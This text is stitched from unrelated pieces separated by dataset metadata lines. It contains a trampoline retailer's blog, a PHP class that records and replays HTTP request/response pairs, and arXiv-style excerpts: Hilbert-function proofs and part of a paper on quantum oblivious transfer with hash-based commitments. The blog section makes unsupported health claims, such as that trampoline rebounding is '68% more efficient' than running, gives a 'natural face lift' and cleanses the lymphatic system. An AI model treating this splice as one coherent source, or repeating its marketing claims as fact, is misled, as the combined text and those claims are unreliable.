With the bright string rope you have you must go through every so many holes in the safety net (See picture below). It is sometimes helpful to measure out your desired goal size and mark it with scotch tape or painter's tape. The size of the goal will depend on the size of the balls and the size of the trampoline.
Step 3: Simple Playing Rules
1v1 (one on one)
Each player is the goalie and the scoring player.
You cannot use your hands to score, only to defend your goal.
Obviously if the ball hits the inside the goal its a goal.
2v2 or more (preferable on larger trampolines)
Double down and draw out 2 goals (one on each side).
Each team will have their own goal.
Besides that all the rules are the same.
******************************************************************************************************************************
Scroll down to see example video. Video clip shows open/cut net which is not recommended.
Lastly, remember to have fun but also be safe. Safety net should be well secured at all times.
Hot Bikini Girl Trampoline Trick Fails
This latest trampoline video starts out like many we have seen in the past. An attractive girl in a small bikini is jumping on a backyard trampoline. What happens next is what sets this clip apart from the rest. She decided to perform a front flip and lands on her face. Ouch, this hot bikini girl was lacking the trampoline skills to pull off the trampoline flip. This one is definitely a FAIL!
Top 5 Trampoline Songs:
Artist: Tinie Tempah feat. 2 Chainz
Song: "Trampoline"
About: Trampoline from Tinie Tempah featuring 2 Chainz is the first single to be taken
from Tinie's new album Demonstration. It combines Tinie Tempah's lyrical prowess with rhythmic dance beats.
Artist: Kstylis
Song: "Trampoline Booty"
About: "Kstylis" performing radio single "Trampoline Booty" from the "King of Twerk"
mixtape. Granted, the song is not a lyrical masterpiece. But, it manages to redeem itself with a catchy dance beat that became a YouTube dance craze. We think trampolines are the best place to Twerk!
Artist: Mindy Gledhill
Song: Bring Me Close (from the Fruit of the Loom "Trampoline" commercial)
About: Mindy Gledhill's relentless search for spark has led her all over the map. Recording a wildly successful independent album in a Los Angeles backyard with Juno-nominated producer Stuart Brawley. The song "Bring Me Close" is a heart tugging ballad that is perfectly matched with slow motion trampoline visuals in the Fruit of the Loom commercial.
Artist: Calamine
About: From Calamine's self-titled, self-released 1999 debut EP. This song has a late 90's feel to it. Great guitar melodies are accompanied by soothing vocals. We think this song is perfect for a sunny summer day spent on a backyard trampoline.
Artist: DJ Chuckie
Song: "Who is ready to jump"
About: DJ Chuckie's mega hit single "Who is ready to jump" is a house music classic. The track is perfectly matched with footage of girls jumping on trampoline. A segment on "The Man Show" which aired on Comedy Central and was hosted by Adam Carolla and Jimmy Kimmel.
The town where almost every resident has a trampoline
Scottish young people enjoy jumping on Trampolines!
In the quiet backyards of the Scottish suburb of Corstorphine, what matters is not so much keeping up with the neighbors as leaping above them.
The high ratio of trampolines to residents has put the small Scottish town on the map after an unnamed Google Earth user noticed that almost every home had a trampoline on the property.
Apparently, Scottish people really enjoy jumping on their backyard trampolines. Bagpipes are not included!
Pictures of Hillpark Avenue and Hillpark Gardens, made using a mixture of satellite images and aerial photography, show 18 outdoor trampolines in those two streets alone. Can you imagine Sir Sean Connery jumping on his trampoline?
The bird's-eye views, which appear on Google Earth, have now been posted on a website that collects unusual images from around the world. Homes in Beverly Hills are known for having backyard Tennis courts and swimming pools. We think owning a backyard trampoline is a lot less expensive and much more exhilarating!
Scottish Town of Corstorphine has highest ratio of trampolines to residents
Want to own Justin Bieber's Backyard Trampoline?
Justin Bieber loves jumping on his backyard trampoline and you will too!
Justin Bieber's Calabasas property showing his trampoline
To clarify, we are not selling a trampoline that was owned by Justin Bieber. We are however, offering you an opportunity to own an identical backyard trampoline that the pop star purchased from us and had installed on his Calabasas property.
The pop star selected our top of the line 15ft round Propel Trampoline. This trampoline comes with a heavy duty safety net. Your safety is our #1 priority, no matter if you're a world famous pop star or one of his many adoring fans. The trampoline also comes with a striking red mat. We hear that Justin absolutely loves the color. Some other notable celebrities that enjoy a good trampoline workout:
Justin Bieber's backyard trampoline has been photographed and featured in aerial video footage over his large Calabasas mansion property. It has also received much acclaim on Twitter. Check it out:
"Popstar Justin Bieber seen jumping on his trampoline like a 3 year old" pic.twitter.com/akZaekk8gT
— Kat ♡ (@rauhIsvibes) January 16, 2014
Top 10 Trampoline Games Children Love to Play
We really love creative ways that make your backyard trampoline even more fun and engaging for your children and their friends. So we decided to put together a top 10 list of our favorite trampoline games that children have an absolute blast playing for hours. Please make sure you always supervise these activities as safety is the #1 concern. After you are done checking out this trampoline games slideshow, check out our latest line of top quality round and rectangular trampolines on our products page. Keep on jumping for joy!
Tags: Trampoline Games, Fun Trampoline Games, Water Balloons, Splash Popping, Standing Still Game, Happy Snacking, Trampoline Drawings, Jumpster
5 Reasons Why You Should be Working Out on a Trampoline
The truth behind the Urban Rebounding trend that has celebrities singing its' praise and is now incorporating trampolines into many cardio workout classes throughout the country.
Urban Rebounding Class is the hottest cardio workout trend
1. Get a natural face lift.
As we age, oxygen levels in the skin cells
decrease, resulting in a loss of elasticity and the formation of lines and wrinkles. Rebounding circulates more oxygen to tissue and increases
elasticity.
2. Develop the lean muscles and balance of a ballet dancer.
Rebounding encompasses gravity, acceleration, and deceleration into your workout, which elongates your muscles as if you were a ballet
dancer.
3. Your back and knees will thank you.
It's a low-impact cardio exercise that absorbs 80% of the shock. As a result it
helps strengthen your back muscles and takes the pressure off of your spine and
knees, without the strain and trauma of a hard surface workout.
4. Work out like a NASA astronaut.
A NASA study found that rebounding is 68% more efficient than running or jogging. And
rebounding proved to be the best exercise to rebuild the lost bone tissue of
astronauts whose weightless state caused them to lose 15% of their bone mass. So
rebounding can help prevent osteoporosis and reverse damage.
5. Say adios to colds and allergies.
Rebounding cleanses your lymphatic system and boosts your immunity. The result?
Colds and allergy symptoms won't bother you as often or as much. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 3,459 |
<?php
namespace VCR;
use VCR\Storage\Storage;
/**
* A Cassette records and plays back pairs of Requests and Responses in a Storage.
*/
class Cassette
{
/**
* Casette name.
*
* @var string
*/
protected $name;
/**
* VCR configuration.
*
* @var Configuration
*/
protected $config;
/**
* Storage used to store records and request pairs.
*
* @var Storage<array>
*/
protected $storage;
/**
* Creates a new cassette.
*
* @param string $name name of the cassette
* @param Configuration $config configuration to use for this cassette
* @param Storage<array> $storage storage to use for requests and responses
*
* @throws \VCR\VCRException if cassette name is in an invalid format
*/
public function __construct(string $name, Configuration $config, Storage $storage)
{
$this->name = $name;
$this->config = $config;
$this->storage = $storage;
}
/**
* Returns true if a response was recorded for specified request.
*
* @param Request $request request to check if it was recorded
*
* @return bool true if a response was recorded for specified request
*/
public function hasResponse(Request $request): bool
{
return null !== $this->playback($request);
}
/**
* Returns a response for given request or null if not found.
*
* @param Request $request request
*
* @return Response|null response for specified request
*/
public function playback(Request $request): ?Response
{
foreach ($this->storage as $recording) {
$storedRequest = Request::fromArray($recording['request']);
if ($storedRequest->matches($request, $this->getRequestMatchers())) {
return Response::fromArray($recording['response']);
}
}
return null;
}
/**
* Records a request and response pair.
*
* @param Request $request request to record
* @param Response $response response to record
*/
public function record(Request $request, Response $response): void
{
if ($this->hasResponse($request)) {
return;
}
$recording = [
'request' => $request->toArray(),
'response' => $response->toArray(),
];
$this->storage->storeRecording($recording);
}
/**
* Returns the name of the current cassette.
*
* @return string current cassette name
*/
public function getName(): string
{
return $this->name;
}
/**
* Returns true if the cassette was created recently.
*/
public function isNew(): bool
{
return $this->storage->isNew();
}
/**
* Returns a list of callbacks to configured request matchers.
*
* @return callable[] list of callbacks to configured request matchers
*/
protected function getRequestMatchers(): array
{
return $this->config->getRequestMatchers();
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 6,914 |
\section*{Proofs}
\begin{proof}[\bf Proof of Theorem~\ref{mainthm}]
Fix $d$, $k$ and $\mathcal{D}_d$.
For a given $z$, define $a_z$ as the dimension of the $(d+k)$-th graded component of the intersection of two ideals generated by $z$ forms from $\mathcal{D}_d$ and by one extra form from $\mathcal{D}_d$, which are generic.
In other words, if $g_1,\ldots,g_z,g$ be generic forms, then
$$a_z:=dim\left( {<}g_1,\ldots,g_z{>}_{d+k}\cap {<}g{>}_{d+k}\right).$$
\begin{lemma}
If $a_{z+1}=a_z\neq 0$, then $a_z=dim(S_k)$ and $HF_{(\mathcal{D}_d,z)}(d+k)= dim(S_{d+k})$.
\begin{proof}
Consider generic forms $g_1,\ldots,g_z,g'_1,\ldots,g'_z$ and $g$ from $\mathcal{D}_d$.
We know that $$dim\left( {<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}\right)=a_z=$$
$$= a_{z+1}=dim\left( {<}g_1,\ldots g_{z-1},g_z,g'_z{>}_{d+k}\cap {<}g{>}_{d+k}\right).$$
We have $$dim\left( {<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}\right)=dim\left( {<}g_1,\ldots g_{z-1},g_z,g'_z{>}_{d+k}\cap {<}g{>}_{d+k}\right).$$
The intersection in the left-hand side is a subspace of that in the right-hand side.
Hence, they should coincide, we get
$$ {<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}= {<}g_1,\ldots g_{z-1},g_z,g'_z{>}_{d+k}\cap {<}g{>}_{d+k}.$$
Similarly, we have $$ {<}g_1,\ldots g_{z-1},g'_z{>}_{d+k}\cap {<}g{>}_{d+k}= {<}g_1,\ldots g_{z-1},g_z,g'_z{>}_{d+k}\cap {<}g{>}_{d+k} ,$$
which implies $$ {<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}= {<}g_1,\ldots g_{z-1},g'_z{>}_{d+k}\cap {<}g{>}_{d+k}.$$
Similarly, if we change $g_{z-1}$ in right-hand side by the form $g'_{z-1}$, we get the same space. Repeating this procedure with $g_{z-2}$, $g_{z-3}$ and etc, we obtain
$$ {<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}= {<}g'_1,\ldots g'_{z-1},g'_z{>}_{d+k}\cap {<}g{>}_{d+k}.$$
Hence for generic $g_1,\ldots,g_z,g\in\mathcal{D}_d$, the linear space $V_g:={<}g_1,\ldots g_{z-1},g_z{>}_{d+k}\cap {<}g{>}_{d+k}$ depends only on $g$.
Fix any generic $g$, and choose a form $h\in V_g$.
Hence for any generic $g_1,\ldots,g_z$, the form $h$ belongs to the ideal.
For a linear coordinate transformation $A$, denote by $h_A$ the form $h$ after this coordinate transformation.
Consider coordinate transformations $A_1,\ldots,A_b$ ($b$ is finite) such that the linear span of $h_{A_1},\ldots,h_{A_b}$ has the maximal dimension.
For generic $g_1,\ldots, g_z$ (generic with these $b$ coordinate transformations), the forms $h_{A_1},\ldots ,h_{A_b}$ belong to the ideal $I$ generated by $\{g_1,\ldots, g_z\}$.
Hence, the linear span of $h_{A_1},\ldots,h_{A_b}$ belongs to the ideal $I$. Since this linear space has the maximal dimension, it is closed under the change of coordinates.
Hence, there is a nonempty linear space $H\subset S_{d+k}$ closed under the change of coordinates such that it belongs to any ideal generated by generic $\{g_1,\ldots, g_z\}$.
However $S_{d+k}$ has only one such subspace, namely $H=S_{d+k}$. Therefore, the $(d+k)$-th graded component of the ideal is the whole $S_{d+k}$. This proves the lemma.
\end{proof}
\end{lemma}
Let $z_0$ be the minimal $z$ such that $a_z\neq 0$, and $z_1$ be the minimal $z$ such that $a_{z_1}=dim(S_k)$.
By Lemma~1, the dimension $a_z$ is strictly growing between $z_0$ and~$z_1$, thus $$z_1-z_0\leq dim(S_k).$$
It is clear that \begin{itemize}
\item for $z\leq z_0$, the dimension $HF_{(\mathcal{D}_d,z)}(d+k)=z\cdot dim(S_k)$;
\item for $z\geq z_1$, the dimension $HF_{(\mathcal{D}_d,z)}(d+k)= dim(S_{d+k})$.
\end{itemize}
Since $z_0\leq \frac{dim(S_{d+k})}{dim(S_k)}$ and $z_1\geq \frac{dim(S_{d+k})}{dim(S_k)}$, we have $$z_1\leq z_0+dim(S_k) \leq \frac{dim(S_{d+k})}{dim(S_k)} +dim (S_k);$$
$$z_0\geq z_1-dim(S_k) \geq \frac{dim(S_{d+k})}{dim(S_k)} -dim (S_k),$$
which gives the proof of the theorem.
\end{proof}
\begin{remark}
In fact, we proved that $HF_{(\mathcal{D}_d,z)}(d+k)=min(z\cdot dim(S_k), dim(S_{d+k}))$ except for at most possible $dim(S_k)$ cases for the values of~$z$. However, we don't know these $dim(S_k)$ values exactly.
\end{remark}
\bigskip
\begin{proof} [\bf Proof of Proposition~\ref{criteria}]
By Theorem~\ref{mainthm}, we know that $HF_{(\mathcal{D}_d,z)}(d+r+1)=dim(S_{d+r+1})$ and $HF_{(\mathcal{D}_d,z)}(d+r)=z\cdot dim(S_r)$.
From the first claim, we get that the $(d+r+1)$-th graded component of the ideal is $S_{d+r+1}$, hence for $k\geq r+1$, the $(d+k)$-th graded component of ideal is $S_{d+k}$.
From the second claim, we get that for generic $g_1,\ldots,g_z$ from $\mathcal{D}_d$, there are no $f_1,\ldots,f_z\in S_r$ (not all zeroes) such that $g_1f_1+\ldots+g_zf_z=0$.
Hence, there are no such $f_1,\ldots,f_z\in S_k$, for $k\leq r$.
Then for $k\leq r$, we have $HF_{(\mathcal{D}_d,z)}(d+k)=z\cdot dim(S_k)$.
Hence in this case, the whole Hilbert series is given by Fr\"{o}berg's conjecture.
\end{proof}
\begin{proof} [\bf Proof of Proposition~\ref{almostall}]
Take an integer $k$. Then for large $d$, we know the Hilbert series for at leat
$$\sum_{r=0}^k \left(\left(\frac{dim(S_{d+r})}{dim(S_r)}-dim(S_r)\right)-\left(\frac{dim(S_{d+r+1})}{dim(S_{r+1})}+dim(S_{r+1})\right)\right)$$
different values of $z$. Then we have
$$1-p_d\leq dim(S_d)-\frac{\sum_{r=0}^k \left( \left(\frac{dim(S_{d+r})}{dim(S_r)}-dim(S_r)\right)-\left(\frac{dim(S_{d+r+1})}{dim(S_{r+1})}+dim(S_{r+1})\right)\right)}{dim(S_d)},$$
$$1-p_d\leq \frac{ \left( \frac{dim(S_{d+k+1})}{dim(S_{k+1})}\right) }{dim(S_d)} +\frac{\sum_{r=0}^k \left( dim(S_r)+dim(S_{r+1})\right)}{dim(S_d)}.$$
The fist summand tends to $\frac{1}{dim(S_{k+1})}$ and the second one tends to zero as $d$ increases. Hence, limsup of $(1-p_d)$ is at most $\frac{1}{dim(S_{k+1})}$.
Therefore, $\lim_{d\to \infty}(1-p_d)=0$, because we have such a bound for any integer $k$.
\end{proof}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 5,060 |
\section{Introduction}
In Secure Multiparty Computation (SMC), several agents compute a function that depends on their own inputs, while maintaining them private~\cite{Lindell09}. Privacy is critical in the context of an information society, where data is collected from multiple devices (smartphones, home appliances, computers, street cameras, sensors, ...) and subjected to intensive analysis through data mining. This data collection and exploration paradigm offers great opportunities, but it also raises serious concerns. A technology able to protect the privacy of citizens, while simultaneously allowing to profit from extensive data mining, is going to be of utmost importance. SMC has the potential to be that technology if it can be made practical, secure and ubiquitous.
Current SMC protocols rely on the use of asymmetric cryptography algorithms~\cite{Laud2015}, which are considered significantly more computationally complex compared with symmetric cryptography algorithms~\cite{Asharov2017}. Besides being more computationally intensive, in its current standards, asymmetric cryptography cannot be considered secure anymore due to the expected increase of computational power that a large-scale quantum computer will bring~\cite{Bernstein2017}. Identifying these shortcomings in efficiency and security motivates the search for alternative techniques for implementing SMC without the need of public key cryptography.
\subsection{Secure Multiparty Computation and Oblivious Transfer}
Consider a set of $N$ agents and $f(x_1, x_2, ..., x_N)=(y_1, y_2, ..., y_N)$ a multivariate function. For $i \in \lbrace 1,...,N \rbrace$, a SMC service (see Figure~\ref{fig:smc_N}) receives the input $x_i$ from the $i$-th agent and outputs back the value $y_i$ in such a way that no additional information is revealed about the remaining $x_j, y_j$, for $j \neq i$. Additionally, this definition can be strengthened by requiring that for some number $M < N$ of corrupt agents working together, no information about the remaining agents gets revealed (secrecy). It can also be imposed that if at most $M'<N$ agents do not compute the function correctly, the protocol identifies it and aborts (authenticity).
\begin{figure}
\centering
\includegraphics[width=0.45\linewidth]{smc_N.pdf}
\caption{In secure multiparty computation, N parties compute a function preserving the privacy of their own input. Each party only has access to their own input-output pair.}
\label{fig:smc_N}
\end{figure}
Some of the most promising approaches towards implementing SMC are based on oblivious circuit evaluation techniques such as Yao's garbled circuits for the two party case~\cite{4568207} and the GMW or BMR protocols for the general case~\cite{Goldreich:1987:PAM:28395.28420, Schneider2013, Laud2015, Beaver1990}. It has been shown that to achieve SMC it is enough to implement the Oblivious Transfer (OT) primitive and, without additional assumptions, the security of the resulting SMC depends only on that of the OT~\cite{Kilian:1988:FCO:62212.62215}. In the worst case, this requires each party to perform one OT with every other party for each gate of the circuit being evaluated. This number can be reduced by weakening the security or by increasing the amount of exchanged data~\cite{Harnik07}. Either way, the OT cost of SMC represents a major bottleneck for its practical implementation. Finding fast and secure OT protocols, hence, is a very relevant task in the context of implementing SMC.
Let Alice and Bob be two agents. A 1-out-of-2 OT service receives bits $b_0, \, b_1$ as input from Alice and a bit $c$ as input from Bob, then outputs $b_c$ to Bob. This is done in a way that Bob gets no information about the other message, i.e. $b_{\overline{c}}$, and Alice gets no information about Bob's choice, i.e. the value of $c$~\cite{eprint-2005-12523}.
\subsection{State of the art}
Classical OT implementations are based on the use of asymmetric keys, and suffer from two types of problems. The first one is the efficiency: asymmetric cryptography relies on relatively complex key generation, encryption, and decryption algorithms ~\cite[Chapter~1]{Goldreich2001}~\cite [Chapter 6]{Paar10}. This limits achievable rates of OTs, and since implementations of SMC require a very large number of OTs ~\cite{Harnik07}~\cite{Asharov2017}, this has hindered the development of SMC-based applications. The other serious drawback is that asymmetric cryptography, based on integer number factorization or discrete-logarithm problems, is insecure in the presence of quantum computers, and therefore, it has to be progressively abandoned. There are strong research efforts in order to find other hard problems that can support asymmetric cryptography~\cite{Bernstein2017}. However, the security of these novel solutions is still not fully understood.
A possible way to circumvent this problem is by using quantum cryptography to improve the efficiency and security of current techniques. Quantum solutions for secure key distribution, Bit Commitment (BC) and OT have been already proposed~\cite{Broadbent2016}. The former was proved to be unconditionally secure (assuming an authenticated channel) and realizable using current technology. Although, it was shown to be impossible to achieve unconditionally secure quantum BC and OT ~\cite{Shenoy17}~\cite{lo:chau:97}~\cite{Mayers97}, one can impose restrictions on the power of adversaries in order to obtain practically secure versions of these protocols~\cite{PhysRevLett.100.220502,PhysRevA.81.052336}. These assumptions include physical limitations on the apparatuses, such as noisy or bounded quantum memories~\cite{6157089,lou:14,Almeida_2015}. For instance, quantum OT and BC protocols have been developed and implemented (see~\cite{2014NatCo3418E,2018NatCo450F,2012NatCo1326N}) under the noisy storage model. Nevertheless, solutions based on hardware limitations may not last for long, because as quantum technology improves the rate of secure OT instances will decrease. Other solutions include exploring relativistic scenarios using the fact that no information can travel faster than light \cite{PhysRevLett.115.030502,PhysRevLett.117.140506,PhysRevA.98.032327}. However, at the moment, these solutions do not seem to be practical enough to allow the large dissemination of SMC.
In this work, we explore the resulting security and efficiency features of implementing oblivious transfer using a well known quantum protocol~\cite{yao:86} supported by using a cryptographic hash based commitment scheme~\cite{Halevi1996}. We call it a hybrid approach, since it mixes both classical and quantum cryptography. We analyse the protocol stand alone security, as well as its composable security in the random oracle model. Additionally, we study its computational complexity and compare it with the complexity of alternative public key based protocols. Furthermore, we show that, while unconditional information-theoretic security cannot be achieved, there is an advantage (both in terms of security and efficiency) of using quantum resources in computationally secure protocols, and as such, they are worth consideration for practical tasks in the near future.
This paper is organized as follows. In Section II, we present a quantum protocol to produce OT given access to a collision resistant hash function, define the concept of oblivious keys, and explain how having pre-shared oblivious keys can significantly decrease the computational cost of OT during SMC. The security and efficiency of the protocol is discussed in Section III. Finally, in Section IV we summarize the main conclusions of this work.
\section{Methods}
\subsection{Generating the OTs}
In this section, we describe how to perform oblivious transfer by exchanging qubits. The protocol $\pi_{QOT}$ shown in Figure~\ref{fig:okdprotocol} is the well known quantum oblivious transfer protocol first introduced by Yao, which assumes access to secure commitments. The two logical qubit states $|0\rangle$ and $|1\rangle$ represent the computational basis, and the states $|+\rangle = (|0\rangle + |1\rangle)/\sqrt{2}$, $|-\rangle = (|0\rangle - |1\rangle)/\sqrt{2}$ represent the Hadamard basis. We also define the states $|(s_i, a_i)\rangle$ for $s_i, a_i \in \lbrace 0,1 \rbrace$ according to the following rule:
\begin{align*}
&|(0, 0)\rangle = |0\rangle \quad |(0, 1)\rangle = |+\rangle\\
&|(1, 0)\rangle = |1\rangle \quad |(1, 1)\rangle = |-\rangle.
\end{align*}
Note that these states can be physically instantiated using, for instance, a polarization encoding fiber optic quantum communication system, provided that a fast polarization encoding/decoding process and an algorithm to control random polarization drifts in optical fibers are available~\cite{Pinto2018, Ramos2020}.
\begin{figure}[h]
\noindent
\framebox{\parbox{\dimexpr\linewidth-2\fboxsep-2\fboxrule}{\small
{\centering \textbf{Protocol} $ \pi_{QOT}$ \par}
\textbf{Parameters:} Integers $n, m<n$. \\
\textbf{Parties:} The sender Alice and the receiver Bob. \\
\textbf{Inputs:} Alice gets two bits $b_0,b_1$ and Bob gets a bit $c$. \\
\textit{(Oblivious key distribution phase)}
\begin{enumerate}[leftmargin=0.6cm]
\item Alice samples $s, a \in \lbrace 0,1 \rbrace^{n+m}$. For each $i \leq n+m$ she prepares the state $|\phi_i\rangle = |(s_i, a_i)\rangle$ and sends $|\phi\rangle= |\phi_1\phi_2 \ldots \phi_{n+m}\rangle$ to Bob. \vspace{2mm}
\item Bob samples $\Tilde{a} \in \lbrace 0,1 \rbrace^{n+m}$ and, for each $i$, measures $|\phi_i\rangle$ in the computational basis if $\Tilde{a}_i=0$, otherwise measures it in the Hadamard basis. Then, he computes the string $\Tilde{s}=\Tilde{s}_1\Tilde{s}_2 \ldots \Tilde{s}_{n+m}$, where $\Tilde{s}_i=0$ if the outcome of measuring $|\phi_i\rangle$ was $0$ or $+$, and $\Tilde{s}_i=1$ if it was $1$ or $-$. \vspace{2mm}
\item For each $i$, Bob commits $(\Tilde{s}_i,\Tilde{a}_i)$ to Alice. \vspace{2mm}
\item Alice chooses randomly a set of indices $T \subset \lbrace 1,\ldots, n+m \rbrace$ of size $m$ and sends $T$ to Bob. \vspace{2mm}
\item For each $j \in T$, Bob opens the commitments associated to $(\Tilde{s}_j,\Tilde{a}_j)$. \vspace{2mm}
\item Alice checks if $s_j = \Tilde{s}_j$ whenever $a_j = \Tilde{a}_j$ for all $j \in T$. If the test fails Alice aborts the protocol, otherwise she sends $a^* = a|_{\overline{T}}$ to Bob and sets $k=s|_{\overline{T}}$. \vspace{2mm}
\item Bob computes $x= a^* \oplus \Tilde{a}|_{\overline{T}}$ and $\Tilde{k} = \Tilde{s}|_{\overline{T}}$.
\end{enumerate}
\textit{(Oblivious transfer phase)}
\begin{enumerate}[leftmargin=0.6cm]
\setcounter{enumi}{7}
\item Bob defines the two sets $I_0= \lbrace i \mid x_i=0 \rbrace$ and $I_1= \lbrace i \mid x_i=1 \rbrace$. Then, he sends to Alice the ordered pair $(I_{c},I_{c \oplus 1})$. \vspace{2mm}
\item Alice computes $(e_0, e_1)$, where $e_i = b_i \bigoplus_{j \in I_{c\oplus i}} k_j$, and sends it to Bob. \vspace{2mm}
\item Bob outputs $\Tilde{b}_c = e_c \bigoplus_{j \in I_{0}} \Tilde{k}_j$.
\end{enumerate}
}}
\caption{Quantum OT protocol based on secure commitments. The $\bigoplus$ denotes the bit XOR of all the elements in the family.}
\label{fig:okdprotocol}
\end{figure}
Intuitively, this protocol works because the computational and the Hadamard are conjugate bases. Performing a measurement in the preparation basis of a state, given by $a_i$, yields a deterministic outcome, whereas measuring in the conjugate basis, given by $\bar{a}_i$, results in a completely random outcome. By preparing and measuring in random bases, as shown in steps 1 and 2, approximately half of the measurement outcomes will be equal to the prepared states, and half of them will have no correlation. As Alice sends the information of preparation bases to Bob in step 6, he gets to know which of his bits are correlated with Alice's. During steps 3 to 6, Bob commits the information of his measurement basis and outcomes to Alice, who then chooses a random subset of them to test for correlations. Passing this test (statistically) ensures that Bob measured his qubits as stated in the protocol as opposed to performing a different (potentially joint) measurement. Such strategy may extract additional information from Alice's strings, but would fail to pass the specific correlation check in step 6. At step 8, Bob separates his non-tested measurement outcomes in two groups: $I_0$ where he measured in the same basis as the preparation one, and $I_1$, in which he measured in the different basis. He then inputs his bit choice $c$ by selecting the order in which he sends the two sets to Alice. During step 9, Alice encrypts her first and second input bits with the preparation bits associated with the first and second second sets sent by Bob respectively. This effectively hides Bob's input bit because she is ignorant about the measurements that were not opened by Bob (by the security of the commitment scheme). Finally, Bob can decrypt only the bit encrypted with the preparation bits associated to $I_0$.
In real implementations of the protocol one should consider imperfect sources, noisy channels, and measurement errors. Thus, in step 6 Alice should perform parameter estimation for the statistics of the measurements, and pass whenever the error parameter es below some previously fixed value. Following this, Alice and Bob perform standard post-processing techniques of information reconciliation and privacy amplification before continuing to step 7. These techniques indeed work even in the presence of a dishonest Bob. As long as he has some minimal amount of uncertainty about Alice's preparation string $s$, an adequate privacy amplification scheme can be used to maximize Bob's uncertainty of one of Alice's input bits. This comes at the cost of increasing the amount of qubits shared per OT~\cite{Lindell2007}. An example of these techniques applied in the context of the noisy storage model (where the commitment based check is replaced by a time delay under noisy memories) can be found in~\cite{PhysRevA.81.052336}.
\subsection{Oblivious key distribution}
In order to make the quantum implementation of OT more practical during SMC we introduce the concept of oblivious keys. The protocol $\pi_{QOT}$ can be separated in two phases: the {\em Oblivious Key Distribution phase} which consists of steps 1 to 7 and forms the $\pi_{OKD}$ subprotocol, and the {\em Oblivious Transfer phase} which takes steps 8 to 10 and we denote as the $\pi_{OK \rightarrow OT}$ subprotocol. Note that after step 7 of $\pi_{QOT}$ the subsets $I_0,I_1$ have not been revealed to Alice, so she has no information yet on how the correlated and uncorrelated bits between $k$ and $\Tilde{k}$ are distributed (recall that $k$ and $\Tilde{k}$ are the result of removing the tested bits from the strings $s$ and $\Tilde{s}$ respectively). On the other hand, after receiving Alice's preparation bases, Bob does know the distribution of correlated and uncorrelated bits between $k$ and $\Tilde{k}$, which is recorded in the string $x$ ($x_i=0$ if $a_i = \Tilde{a}_i$, otherwise $x_i=1$).
Note that until step 7 of the protocol all computation is independent of the input bits $e_0, e_1, c$. Furthermore, from step 8, only the strings $k, \Tilde{k}$, and $x$ are needed to finish the protocol (in addition to the input bits). We call these three strings collectively an {\em oblivious key}, depicted in Figure~\ref{fig:OK1}. Formally, let Alice and Bob be two agents. Oblivious Key Distribution (OKD) is a service that outputs to Alice the string $k = k_1k_2 \ldots k_\ell$ and to Bob the string $\Tilde{k} = \Tilde{k}_1\Tilde{k}_2 \ldots \Tilde{k}_\ell$ together with the bit string $x = x_1x_2 \ldots x_\ell$, such that $k_i = \Tilde{k}_i$ whenever $x_i = 0$ and $\Tilde{k}_i$ does not give any information about $k$ whenever $x_i = 1$. All of the strings are chosen at random for every invocation of the service. A pair $(k, (\Tilde{k},x))$ distributed as above is what we call an {\em oblivious key pair}. Alice, who knows $k$, is referred to as the sender, and Bob, who holds $\Tilde{k}$ and $x$, is the receiver. In other words, when two parties share an oblivious key, the sender holds a string $k$, while the receiver has only approximately half of the bits of $k$, but knows exactly which of those bits he has.
\begin{figure}[t]
\begin{center}
\includegraphics[width=0.6\linewidth]{OKD.png}
\caption{Oblivious keys. Alice has the string $k$ and Bob the string $\Tilde{k}$. For each party, the boxes in the left and right represent the bits of their string associated to the indices $i$ for which $x_i$ equals 0 (left box) or 1 (right box).
Alice knows the entire key, Bob only knows half of the key, but Alice does not know which half Bob knows.}
\label{fig:OK1}
\end{center}
\end{figure}
When two parties have previously shared an oblivious key pair, they can securely produce OT by performing the steps $\pi_{OK \rightarrow OT}$ of $\pi_{QOT}$. This is significantly faster than current implementations of OT without any previous shared resource and does not require quantum communication during SMC. Note that the agents can perform, previously or concurrently, an OKD protocol to share a sufficiently large oblivious key, which can be then partitioned and used to perform as many instances of OT as needed for SMC.
Fortunately, it is possible to achieve fast oblivious key exchange if the parties have access to fast and reliable quantum communications and classical commitments. In order to use this QOT protocol, the commitment scheme must be instantiated. Consider the commitment protocol $\pi_{COMH}$ shown in Figure~\ref{fig:bcprotocol}, first introduced by Halevi and Micali. It uses a combination of universal and cryptographic hashing, the former to ensure statistical uniformity on the commitments, and the latter to hide the committed message. The motivation for the choice of this protocol for this task will become more apparent during the following sections as we discuss the security and efficiency characteristics of the composition of $\pi_{QOT}$ with $\pi_{COMH}$, henceforth referred as the $\pi_{HOK}$ (for Hybrid Oblivious Key) protocol for OT.
The existence of a reduction from OT to commitments, while proven within quantum cryptography through the $\pi_{QOT}$ protocol, is an open problem in classical cryptography. The existence of commitment schemes such as $\pi_{COMH}$, which do not rely on asymmetric cryptography, provides a way to obtain OT in the quantum setting while circumventing the disadvantages of asymmetric cryptography.
\begin{figure}
\noindent
\framebox{\parbox{\dimexpr\linewidth-2\fboxsep-2\fboxrule}{\small
{\centering \textbf{Protocol} $ \pi_{COMH}$ \par}
\textbf{Parameters:} Message length $\Tilde{n}$ and security parameter $k$. A universal hash family $\textbf{F}= \lbrace f: \lbrace 0,1 \rbrace^{\ell} \rightarrow \lbrace 0,1 \rbrace^{k} \rbrace$, with $\ell = 4k+2\Tilde{n}+4$. A collision resistant hash function $H$. \\
\textbf{Parties:} The verifier Alice and the committer Bob. \\
\textbf{Inputs:} Bob gets a string $\Tilde{m}$ of length $\Tilde{n}$. \\
\textit{(Commit phase)}
\begin{enumerate}[leftmargin=0.6cm]
\item Bob samples $r \in \lbrace 0,1 \rbrace^{\ell}$, computes $y = H(r)$, and chooses $f \in \textbf{F}$, such that $f(r)=\Tilde{m}$. Then, he sends $(f,y)$ to Alice.
\end{enumerate}
\textit{(Open phase)}
\begin{enumerate}[leftmargin=0.6cm]
\setcounter{enumi}{1}
\item Bob sends $r$ to Alice. \vspace{2mm}
\item Alice checks that $H(r)=y$. If this test fails she aborts the protocol. Otherwise, she outputs $f(r)$.
\end{enumerate}
}}
\caption{Commitment protocol based on collision resistant hash functions}
